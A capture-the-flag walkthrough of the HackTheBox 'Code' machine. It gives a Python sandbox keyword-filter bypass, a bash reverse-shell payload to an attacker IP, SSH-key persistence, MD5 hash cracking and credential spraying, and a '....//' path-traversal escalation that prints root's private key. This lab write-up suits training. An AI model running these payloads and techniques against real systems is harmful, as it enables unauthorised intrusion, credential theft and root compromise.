Code – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar code


Summary Link to heading

“Code” is an Easy box from HackTheBox platform. The victim machine is running a web server that allows to execute snippets of code for Python programming language. At first sight, some system command execution words are banned to prevent Remote Code Execution. However, we are able to bypass these restrictions and execute system commands, gaining access to the victim machine. Once inside, we are able to find credentials for a second user inside the victim machine. This new user can execute a custom Bash script with sudo; a script that creates backups of directories after a simple sanitization. However, this sanitization is applied only once (not recursively), which allow us to trick the script and extract the SSH key for root; compromising the system.


User Link to heading

We start looking for open TCP ports open with Nmap:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.152.86

We only see 2 ports open: 22 SSH and 5000 an unknown service. We apply some recognition scans over these ports using -sVC flag with Nmap:

❯ sudo nmap -sVC -p22,5000 10.129.152.86

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 15:03 -03
Nmap scan report for 10.129.152.86
Host is up (0.29s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.18 seconds

From the output, we can see that port 5000 exposes an HTTP server using Gunicorn.

Info
Gunicorn, also known as “Green Unicorn”, is a Python web server that’s used to run Python web applications. It’s a WSGI (Web Server Gateway Interface) server that’s compatible with many web frameworks, including Django and Flask.

Using WhatWeb against this site shows exactly the same output:

❯ whatweb -a 3 http://10.129.152.86:5000

http://10.129.152.86:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn/20.0.4], IP[10.129.152.86], JQuery[3.6.0], Script, Title[Python Code Editor]

Visiting http://10.129.152.86:5000 in a web browser we can see a page that seems to run Python code:

Code

This site runs simple Python codes.

If we try to execute commands such as a simple Python snippet to execute system commands:

import os

os.system('id')

We get the response Use of restricted keywords is not allowed..

Code 2

Apparently, we cannot use the import built-in function, even the string itself. For example, If I try to import argparse function (which has nothing to do with command execution itself) we get the same error:

Code 3

Another forbidden words I have found are open, os, subprocess and read. Even trying some simples commands such as:

print("open")

print("os")

print("subprocess")

print("read")

are forbidden.

Therefore, we need a payload that does not contain any of these words.

Searching how can we execute system commands with Python we reach this StackOverflow post, where they say that it might be possible to use:

().__class__.__base__.__subclasses__()

Executing this code in the page apparently works. Since we do not get any output (which indicates it has not been blocked). This code is calling all the object subclasses loaded into memory. This is actually a list, since if we print it we can see its values running:

print(().__class__.__base__.__subclasses__())

Returns:

Code 4

We can search if the word cess (part of the word Subprocess) is present in the name of any of the classes loaded:

x = [(index, j) for index, j in enumerate(().__class__.__base__.__subclasses__()) if 'cess' in j.__name__.lower()]
print(index, x, end="\n")

Returns:

Code 5

We have CompletedProcess from Subprocess module from Python. But this is not useful to execute commands.

To execute commands we can search if Popen for subprocess is available. Since open word is forbidden, let’s search for pen word in loaded objects list:

x = [(index, j) for index, j in enumerate(().__class__.__base__.__subclasses__()) if 'pen' in j.__name__.lower()]

print(index, x, end="\n")

Obtaining:

Code 6

We get that item 317 in that list is subprocess.Popen.

This means that calling:

().__class__.__base__.__subclasses__()[317]

Is equivalent to:

subprocess.Popen

Bypassing the restrictions.

We can see how to run commands with subprocess.Popen checking subprocess.Popen official documentation. A simple example provided there is:

subprocess.Popen(["/usr/bin/git", "commit", "-m", "Fixes a bug."])

Back to the webpage, let’s use our code that bypasses restrictions and to send us a simple reverse shell:

().__class__.__base__.__subclasses__()[317](["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.16.56/443 0>&1"])

Where 10.10.16.56 is our attacker IP address and 443 the port we will start listening with netcat.

Before sending this payload in the webserver, start a listener with netcat on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

and send the payload:

Code 7

We get a shell in our netcat listener as app-production user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.152.86] 46568
bash: cannot set terminal process group (14703): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ whoami

whoami
app-production

We can read the user flag at /home/app-production directory.

Before continuing, app-production shell dies after some time. For this purpose we can attempt to create an SSH key in our attacker machine, pass the generated public key into the victim machine and use this key to log in as app-production user in the victim machine using SSH. Let’s do this. First, create a simple key in our attacker machine:

❯ ssh-keygen -t rsa -b 2048

Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa
Your public key has been saved in /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa.pub
The key fingerprint is:
SHA256:SIOYS5RmnA61h859diU/96xUZQ52plWc1/I27zqRHSk gunzf0x@kali
The key's randomart image is:
+---[RSA 2048]----+
| ooo           .+|
|..*= .        ..=|
| =* o o . .   ooO|
| +.+ . o +   E &o|
|  + . + S o . ++=|
|     o .   o +o o|
|            . oo |
|           . .. .|
|            . .o |
+----[SHA256]-----+

Where we have not set a passphrase for this private key.

Copy the content of the generated id_rsa.pub file:

❯ cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkuCUKWu/iybqmHZWZeYYJ9cCJAW/xXpGY19cKU1NMyxa5wwB79b25pFRvKDU0MW7tjfSUdQXN+TzNoNX4kF9ULPNDqEZtVNRsyeYXHwuKbNEJzLKZdt15FbUhXyD7+v8cVfp+LAodxt5DX2KgiC+45Aq3wsjH4S8EOiNLOnMInqjbzOm/ErCmOmbxoxI0nfDB5gW2DZJk8Hx9A6Ei7H2q4/7N3nqDK0Zv860DruHBGAzGlmKWNOLbWKnRbsFqU9HdCo8iGk15IoDR9Ag1DD+wZwRO3+a5oKdIcKsdYdRuHPofW79/v9vHnQ4kvKFOOiWK+EzsPvqANznv8QJfZCMf gunzf0x@kali

and, in the victim machine, create a .ssh directory at /home/app-production and paste this key public key to authorized_keys file (we do this all in one line):

app-production@code:~$ cd /home/app-production && mkdir .ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkuCUKWu/iybqmHZWZeYYJ9cCJAW/xXpGY19cKU1NMyxa5wwB79b25pFRvKDU0MW7tjfSUdQXN+TzNoNX4kF9ULPNDqEZtVNRsyeYXHwuKbNEJzLKZdt15FbUhXyD7+v8cVfp+LAodxt5DX2KgiC+45Aq3wsjH4S8EOiNLOnMInqjbzOm/ErCmOmbxoxI0nfDB5gW2DZJk8Hx9A6Ei7H2q4/7N3nqDK0Zv860DruHBGAzGlmKWNOLbWKnRbsFqU9HdCo8iGk15IoDR9Ag1DD+wZwRO3+a5oKdIcKsdYdRuHPofW79/v9vHnQ4kvKFOOiWK+EzsPvqANznv8QJfZCMf gunzf0x@kali' >> .ssh/authorized_keys

Use this key to log in through SSH and obtain a stable connection:

❯ ssh -i id_rsa app-production@10.129.152.86

<SNIP>
app-production@code:~$

Root Link to heading

Besides app-production and root, there is a user called martin:

app-production@code:~$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash

Search for files containing this user:

app-production@code:~$ grep -ir martin /home/app-production 2>/dev/null

Binary file /home/app-production/app/instance/database.db matches

This is an SQLite database file:

app-production@code:~$ file /home/app-production/app/instance/database.db

/home/app-production/app/instance/database.db: SQLite 3.x database, last written using SQLite version 3031001

Since SQLite is installed in the victim machine (which can be checked running which sqlite3), read this database:

app-production@code:~$ sqlite3 /home/app-production/app/instance/database.db

SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>

and start searching for information in this database:

sqlite> .tables
code  user

sqlite> PRAGMA table_info(user);

0|id|INTEGER|1||1
1|username|VARCHAR(80)|1||0
2|password|VARCHAR(80)|1||0

We get 2 columns username and password at user table.

Extract its content:

sqlite> select username,password from user;

development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be

They seem to be MD5 hashes, since they are 32 characters long:

❯ echo -n '3de6f30c4a09c27fc71932bfc68474be' | wc -c

32

Save both hashes into a file called sqlite_db_hashes:

❯ cat sqlite_db_hashes

development:759b74ce43947f5f4c91aeddc3e5bad3
martin:3de6f30c4a09c27fc71932bfc68474be

and attempt a Brute Force Password Cracking with john using rockyou.txt dictionary:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt sqlite_db_hashes --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
development      (development)
nafeelswordsmaster (martin)
2g 0:00:00:00 DONE (2025-03-23 17:03) 3.448g/s 9012Kp/s 9012Kc/s 9362KC/s nafi1993..naerox
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We get 2 passwords: development and nafeelswordsmaster for development and martin users, respectively.

Check if any of the found passwords works for any of these users with SSH:

❯ nxc ssh 10.129.152.86 -u martin app-production -p development nafeelswordsmaster

SSH         10.129.152.86   22     10.129.152.86    [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.129.152.86   22     10.129.152.86    [-] martin:development
SSH         10.129.152.86   22     10.129.152.86    [-] app-production:development
SSH         10.129.152.86   22     10.129.152.86    [+] martin:nafeelswordsmaster  Linux - Shell access!

We get new credentials: martin:nafeelswordsmaster.

Connect as this new user through SSH:

❯ sshpass -p 'nafeelswordsmaster' ssh -o stricthostkeychecking=no martin@10.129.152.86

<SNIP>
martin@code:~$

This new user can run a script with sudo as any user:

martin@code:~$ sudo -l

Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

We can execute /usr/bin/backy.sh with privileges.

Checking /usr/bin/backy.sh we get a simple Bash script:

#!/bin/bash

if ` $# -ne 1 `; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if ` ! -f "$json_file" `; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if ` "$path" == $allowed_path* `; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

This file checks that arguments are provided and executes /usr/bin/backy binary, passing to it a JSON file. But we have some restrictions:

  1. JSON file must be located at /var or /home directories.
  2. The script removes occurrences of ../.

If we search for .json files at /home (one of the directories that are allowed to write files), we get:

martin@code:~$ find /home -name "*.json" 2>/dev/null

/home/martin/backups/task.json

Reading the content of this file we get:

martin@code:~$ cat /home/martin/backups/task.json

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

Just to test how this script works, we create a simple file at /home/martin path:

martin@code:~$ mkdir test && echo 'testing backup' > test/backup_test

Copy the content of /home/martin/backups/task.json to /home/martin/task.json and change the backup directory to our new test directory:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/martin/test"
        ],

        "exclude": [
                ".*"
        ]
}

Execute the script with sudo:

martin@code:~$ sudo /usr/bin/backy.sh /home/martin/task.json

2025/03/23 20:29:27 🍀 backy 1.2
2025/03/23 20:29:27 📋 Working with /home/martin/task.json ...
2025/03/23 20:29:27 💤 Nothing to sync
2025/03/23 20:29:27 📤 Archiving: [/home/martin/test]
2025/03/23 20:29:27 📥 To: /home/martin/backups ...
2025/03/23 20:29:27 📦

and check that our backup file is there:

martin@code:~$ ls -la /home/martin/backups

total 24
drwxr-xr-x 2 martin martin 4096 Mar 23 20:29 .
drwxr-x--- 7 martin martin 4096 Mar 23 20:28 ..
-rw-r--r-- 1 martin martin 5879 Mar 23 20:25 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root   root    184 Mar 23 20:29 code_home_martin_test_2025_March.tar.bz2
-rw-r--r-- 1 martin martin  181 Mar 23 20:25 task.json

We have a new file called code_home_martin_test_2025_March.tar.bz2 at /home/marin/backups.

Extract its content:

martin@code:~$ tar -xvjf /home/martin/backups/code_home_martin_test_2025_March.tar.bz2 -C /tmp

home/martin/test/
home/martin/test/backup_test

It worked. This creates a file at /tmp/home/martin/test/backup_test with our generated content and saves it at /home/martin/backups. Therefore, it generates copies/backups as expected.

Note
There is a cronjob task removing backups files (at /home/martin/backups) and files at /tmp. So we might get an error when we attempt to decompress the backup file since it will not exist. We have to run all the previous commands again if this happens.

Now, from /usr/bin/backy.sh an interesting line is:

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

Why? Because it deletes ../. But it does not that recursively. What happens if we add ....//? If we delete ../ in ....// string, it will be converted into ../. Therefore, for example, at the .json file the lines:

"directories_to_archive": [
                "/home/app-production/app"
        ],

Can be converted to:

"directories_to_archive": [
                "/home/app-production/app/....//....//....//root"
        ],

This string, after the sanitization, should be converted to:

"directories_to_archive": [
                "/home/app-production/app/../../../root"
        ],

Therefore, modify /home/martin/backups/task.json file (using an editor like Vim) to our final payload:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app/....//....//....//root"
        ]
}

where we have omitted exclude: ".*" since that instruction seems to indicate to the program to omit files. We could also write this file using the terminal (since there is a cronjob removing this file constantly):

martin@code:~$ cat > /home/martin/backups/task.json << EOF
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/app-production/app/....//....//....//root/"
  ]
}
EOF

and run the command with sudo:

martin@code:~$ sudo /usr/bin/backy.sh /home/martin/backups/task.json

2025/03/23 21:15:34 🍀 backy 1.2
2025/03/23 21:15:34 📋 Working with /home/martin/backups/task.json ...
2025/03/23 21:15:34 💤 Nothing to sync
2025/03/23 21:15:34 📤 Archiving: [/home/app-production/app/../../../root]
<SNIP>
/home/app-production/app/../../../root/.ssh/id_rsa
/home/app-production/app/../../../root/.ssh/authorized_keys
/home/app-production/app/../../../root/.bash_history
/home/app-production/app/../../../root/.bashrc

As we can see, the path for the backup has been set to /home/app-production/app/../../../root.

And our backup file is there:

martin@code:~$ ls -la /home/martin/backups

total 52
drwxr-xr-x 2 martin martin  4096 Mar 23 21:13 .
drwxr-x--- 6 martin martin  4096 Mar 23 21:10 ..
-rw-r--r-- 1 martin martin  5879 Mar 23 21:10 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root   root   12910 Mar 23 21:13 code_home_app-production_app_.._.._.._root_2025_March.tar.bz2

The backup file is there.

Extract its content using tar:

martin@code:~$ tar -xvjf /home/martin/backups/code_home_app-production_app_.._.._.._root_2025_March.tar.bz2

root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
<SNIP>
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc

As we can see, we have an id_rsa key for root user. Read it with cat:

martin@code:~$ cat ./root/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----

Save this key into our attacker file, assign permissions with chmod 600 to it and use this key to access in the victim machine thorough SSH as root:

❯ nvim root_id_rsa

❯ chmod 600 root_id_rsa

❯ ssh -i root_id_rsa root@10.129.152.86

<SNIP>
root@code:~# id

uid=0(root) gid=0(root) groups=0(root)

GG. We can get the root flag at /root directory; or we could also read it from the generated compressed backup.

~Happy Hacking.